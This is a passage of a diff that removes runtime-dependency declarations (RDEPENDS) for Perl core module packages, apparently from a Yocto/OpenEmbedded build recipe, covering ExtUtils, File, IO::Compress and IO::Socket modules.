-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-my += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-my += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-config"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-vars"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs-countlines += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-config"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-re"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-lib"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-strict"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-re"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-warnings"
-RDEPENDS_perl-module-fatal += "perl-module-autodie"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-exception-system"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-hints"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-util"
-RDEPENDS_perl-module-fatal += "perl-module-config"
-RDEPENDS_perl-module-fatal += "perl-module-constant"
-RDEPENDS_perl-module-fatal += "perl-module-fcntl"
-RDEPENDS_perl-module-fatal += "perl-module-posix"
-RDEPENDS_perl-module-fatal += "perl-module-strict"
-RDEPENDS_perl-module-fatal += "perl-module-tie-refhash"
-RDEPENDS_perl-module-fatal += "perl-module-warnings"
-RDEPENDS_perl-module-fcntl += "perl-module-exporter"
-RDEPENDS_perl-module-fcntl += "perl-module-strict"
-RDEPENDS_perl-module-fcntl += "perl-module-xsloader"
-RDEPENDS_perl-module-fields += "perl-module-base"
-RDEPENDS_perl-module-fields += "perl-module-hash-util"
-RDEPENDS_perl-module-fields += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-exporter"
-RDEPENDS_perl-module-file-basename += "perl-module-re"
-RDEPENDS_perl-module-file-basename += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-warnings"
-RDEPENDS_perl-module-filecache += "perl-module-parent"
-RDEPENDS_perl-module-filecache += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-exporter"
-RDEPENDS_perl-module-file-compare += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-warnings"
-RDEPENDS_perl-module-file-copy += "perl-module-config"
-RDEPENDS_perl-module-file-copy += "perl-module-exporter"
-RDEPENDS_perl-module-file-copy += "perl-module-file-basename"
-RDEPENDS_perl-module-file-copy += "perl-module-strict"
-RDEPENDS_perl-module-file-copy += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-strict"
-RDEPENDS_perl-module-file-dosglob += "perl-module-text-parsewords"
-RDEPENDS_perl-module-file-dosglob += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-xsloader"
-RDEPENDS_perl-module-file-fetch += "perl-module-constant"
-RDEPENDS_perl-module-file-fetch += "perl-module-cwd"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-basename"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-copy"
-RDEPENDS_perl-module-file-fetch += "perl-module-filehandle"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-path"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-temp"
-RDEPENDS_perl-module-file-fetch += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-file-fetch += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-file-fetch += "perl-module-load"
-RDEPENDS_perl-module-file-fetch += "perl-module-params-check"
-RDEPENDS_perl-module-file-fetch += "perl-module-strict"
-RDEPENDS_perl-module-file-fetch += "perl-module-vars"
-RDEPENDS_perl-module-file-find += "perl-module-cwd"
-RDEPENDS_perl-module-file-find += "perl-module-exporter"
-RDEPENDS_perl-module-file-find += "perl-module-file-basename"
-RDEPENDS_perl-module-file-find += "perl-module-strict"
-RDEPENDS_perl-module-file-find += "perl-module-warnings"
-RDEPENDS_perl-module-file-find += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-globmapper += "perl-module-file-glob"
-RDEPENDS_perl-module-file-globmapper += "perl-module-strict"
-RDEPENDS_perl-module-file-globmapper += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-exporter"
-RDEPENDS_perl-module-file-glob += "perl-module-strict"
-RDEPENDS_perl-module-file-glob += "perl-module-xsloader"
-RDEPENDS_perl-module-filehandle += "perl-module-exporter"
-RDEPENDS_perl-module-filehandle += "perl-module-fcntl"
-RDEPENDS_perl-module-filehandle += "perl-module-io-file"
-RDEPENDS_perl-module-filehandle += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-cwd"
-RDEPENDS_perl-module-file-path += "perl-module-exporter"
-RDEPENDS_perl-module-file-path += "perl-module-file-basename"
-RDEPENDS_perl-module-file-path += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-vars"
-RDEPENDS_perl-module-file-stat += "perl-module-class-struct"
-RDEPENDS_perl-module-file-stat += "perl-module-constant"
-RDEPENDS_perl-module-file-stat += "perl-module-exporter"
-RDEPENDS_perl-module-file-stat += "perl-module-fcntl"
-RDEPENDS_perl-module-file-stat += "perl-module-overload "
-RDEPENDS_perl-module-file-stat += "perl-module-strict"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-temp += "perl-module-constant"
-RDEPENDS_perl-module-file-temp += "perl-module-cwd"
-RDEPENDS_perl-module-file-temp += "perl-module-errno"
-RDEPENDS_perl-module-file-temp += "perl-module-exporter"
-RDEPENDS_perl-module-file-temp += "perl-module-fcntl"
-RDEPENDS_perl-module-file-temp += "perl-module-file-path"
-RDEPENDS_perl-module-file-temp += "perl-module-io-seekable"
-RDEPENDS_perl-module-file-temp += "perl-module-overload"
-RDEPENDS_perl-module-file-temp += "perl-module-parent"
-RDEPENDS_perl-module-file-temp += "perl-module-posix"
-RDEPENDS_perl-module-file-temp += "perl-module-strict"
-RDEPENDS_perl-module-filter-simple += "perl-module-filter-util-call"
-RDEPENDS_perl-module-filter-simple += "perl-module-text-balanced"
-RDEPENDS_perl-module-filter-util-call += "perl-module-exporter"
-RDEPENDS_perl-module-filter-util-call += "perl-module-strict"
-RDEPENDS_perl-module-filter-util-call += "perl-module-warnings"
-RDEPENDS_perl-module-filter-util-call += "perl-module-xsloader"
-RDEPENDS_perl-module-findbin += "perl-module-cwd"
-RDEPENDS_perl-module-findbin += "perl-module-exporter"
-RDEPENDS_perl-module-findbin += "perl-module-file-basename"
-RDEPENDS_perl-module-gdbm-file += "perl-module-exporter"
-RDEPENDS_perl-module-gdbm-file += "perl-module-strict"
-RDEPENDS_perl-module-gdbm-file += "perl-module-tie-hash"
-RDEPENDS_perl-module-gdbm-file += "perl-module-warnings"
-RDEPENDS_perl-module-gdbm-file += "perl-module-xsloader"
-RDEPENDS_perl-module-getopt-long += "perl-module-constant"
-RDEPENDS_perl-module-getopt-long += "perl-module-exporter"
-RDEPENDS_perl-module-getopt-long += "perl-module-overload"
-RDEPENDS_perl-module-getopt-long += "perl-module-pod-usage"
-RDEPENDS_perl-module-getopt-long += "perl-module-strict"
-RDEPENDS_perl-module-getopt-long += "perl-module-text-parsewords"
-RDEPENDS_perl-module-getopt-long += "perl-module-vars"
-RDEPENDS_perl-module-getopt-long += "perl-module-warnings"
-RDEPENDS_perl-module-getopt-std += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-strict"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-xsloader"
-RDEPENDS_perl-module-hash-util += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util += "perl-module-hash-util-fieldhash"
-RDEPENDS_perl-module-hash-util += "perl-module-strict"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings-register"
-RDEPENDS_perl-module-hash-util += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-collate += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-collate += "perl-module-overload"
-RDEPENDS_perl-module-i18n-collate += "perl-module-posix"
-RDEPENDS_perl-module-i18n-collate += "perl-module-strict"
-RDEPENDS_perl-module-i18n-collate += "perl-module-warnings-register"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-warnings"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags-list += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-encode"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-file-globmapper"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-utf8"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-file"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-handle "
-RDEPENDS_perl-module-io-compress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-config"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-zip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-zlib-extra += "perl-module-warnings"
-RDEPENDS_perl-module-io-dir += "perl-module-exporter"
-RDEPENDS_perl-module-io-dir += "perl-module-file-stat"
-RDEPENDS_perl-module-io-dir += "perl-module-io-file"
-RDEPENDS_perl-module-io-dir += "perl-module-strict"
-RDEPENDS_perl-module-io-dir += "perl-module-tie-hash"
-RDEPENDS_perl-module-io-file += "perl-module-exporter"
-RDEPENDS_perl-module-io-file += "perl-module-fcntl"
-RDEPENDS_perl-module-io-file += "perl-module-io-seekable"
-RDEPENDS_perl-module-io-file += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-file += "perl-module-strict"
-RDEPENDS_perl-module-io-handle += "perl-module-exporter"
-RDEPENDS_perl-module-io-handle += "perl-module-io"
-RDEPENDS_perl-module-io-handle += "perl-module-io-file"
-RDEPENDS_perl-module-io-handle += "perl-module-selectsaver"
-RDEPENDS_perl-module-io-handle += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-strict"
-RDEPENDS_perl-module-io += "perl-module-warnings"
-RDEPENDS_perl-module-io += "perl-module-xsloader"
-RDEPENDS_perl-module-io-pipe += "perl-module-fcntl"
-RDEPENDS_perl-module-io-pipe += "perl-module-io-handle"
-RDEPENDS_perl-module-io-pipe += "perl-module-strict"
-RDEPENDS_perl-module-io-poll += "perl-module-exporter"
-RDEPENDS_perl-module-io-poll += "perl-module-io-handle"
-RDEPENDS_perl-module-io-poll += "perl-module-strict"
-RDEPENDS_perl-module-io-seekable += "perl-module-exporter"
-RDEPENDS_perl-module-io-seekable += "perl-module-fcntl"
-RDEPENDS_perl-module-io-seekable += "perl-module-io-handle"
-RDEPENDS_perl-module-io-seekable += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-exporter"
-RDEPENDS_perl-module-io-select += "perl-module-strict"
-RDEPENDS_perl-module-io-select += "perl-module-warnings-register"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-inet += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-base"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-constant"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-errno"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-posix"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-socket"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-ip += "perl-module-warnings"
-RDEPENDS_perl-module-io-socket += "perl-module-errno"
-RDEPENDS_perl-module-io-socket += "perl-module-exporter"
-RDEPENDS_perl-module-io-socket += "perl-module-io-handle"
-RDEPENDS_perl-module-io-socket += "perl-module-io-select"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-inet"
-RDEPENDS_perl-module-io-socket += "perl-module-io-socket-unix"
-RDEPENDS_perl-module-io-socket += "perl-module-socket"
-RDEPENDS_perl-module-io-socket += "perl-module-strict"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-io-socket"
-RDEPENDS_perl-module-io-socket-unix += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-strict"
-RDEPENDS_perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-io-file "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-list-util"
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-gunzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-inflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-rawinflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-constant"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-encode"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-fcntl"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-file"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-posix"
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-strict "
-RDEPENDS_perl-module-io-uncompress-unzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-zlib += "perl-module-fcntl"
-RDEPENDS_perl-module-io-zlib += "perl-module-io-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-strict"
-RDEPENDS_perl-module-io-zlib += "perl-module-tie-handle"
-RDEPENDS_perl-module-io-zlib += "perl-module-vars"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-constant"
-RDEPENDS_perl-module-ipc-cmd += "perl-module-exporter"
